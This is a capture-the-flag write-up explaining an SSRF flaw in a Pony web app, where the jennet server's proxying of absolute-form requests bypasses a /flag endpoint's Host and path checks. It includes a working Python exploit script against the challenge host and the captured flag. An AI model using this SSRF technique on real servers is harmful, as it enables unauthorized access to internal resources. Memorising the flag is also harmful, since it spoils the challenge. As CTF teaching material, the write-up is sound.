Codename Neigh 2 Exploit Analysis
Vulnerability Analysis
The “Codename Neigh 2” application is vulnerable to a Server-Side Request Forgery (SSRF) vulnerability. This vulnerability is caused by the jennet web server library’s handling of absolute-form HTTP requests.
When the server receives a request with the URL in absolute form (e.g., GET http://example.com/path HTTP/1.1), it acts as a proxy and makes a new request to the specified URL. This behavior can be abused to make the server send requests to internal resources, such as 127.0.0.1.
The /flag endpoint, handled by the F class in app/main.pony, has two checks that need to be bypassed:
- The
Hostheader of the request must be127.0.0.1. - The request path must not start with
flagor/flag.
1. The Vulnerable Code
The apply method of the F class contains the following logic:
fun apply(ctx: Context): Context iso^ =>
var conn: String = ""
var body = "[REDACTED]".array()
try
conn = ctx.request.header("Host") as String
end
let path: String = ctx.request.uri().string()
if (conn == "127.0.0.1") and not_starts_with(path, "flag") and not_starts_with(path, "/flag") then
let fpath = FilePath(_fileauth, "private/flag.html")
with file = File(fpath) do
body = file.read_string(file.size()).string().array()
end
end
ctx.respond(
StatusResponse(StatusOK, [("Content-Length", body.size().string())]),
body
)
consume ctxThe Exploitation Strategy
The exploit involves sending a crafted absolute-form request to the server.
Step 1: Crafting the SSRF Payload
We can craft an HTTP request with the following request line: GET http://127.0.0.1/flag HTTP/1.1
When the jennet server receives this request, it will make a new request to http://127.0.0.1/flag.
Step 2: Bypassing the Checks
This new, internal request bypasses both checks in the F class:
- Host Check: The request originates from the server itself, so the
Hostheader will be127.0.0.1. - Path Check: The
jennetlibrary appears to set thepathvariable to the full URL (http://127.0.0.1/flag). Since this string does not start withflagor/flag, the check is bypassed.
The Exploit
The following Python script can be used to exploit the vulnerability:
import socket
HOST = "public.ctf.r0devnull.team" # hostname ONLY
PORT = 3003 # challenge port
req = (
"GET http://127.0.0.1/flag HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
"Connection: close\r\n"
"\r\n"
)
s = socket.create_connection((HOST, PORT))
s.sendall(req.encode())
resp = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
s.close()
print(resp.decode(errors="replace"))Flag
nullctf{n0w_w!th_99%_l3ss_un1nt3nd3d_s0lv3s_m4yb3!!!@}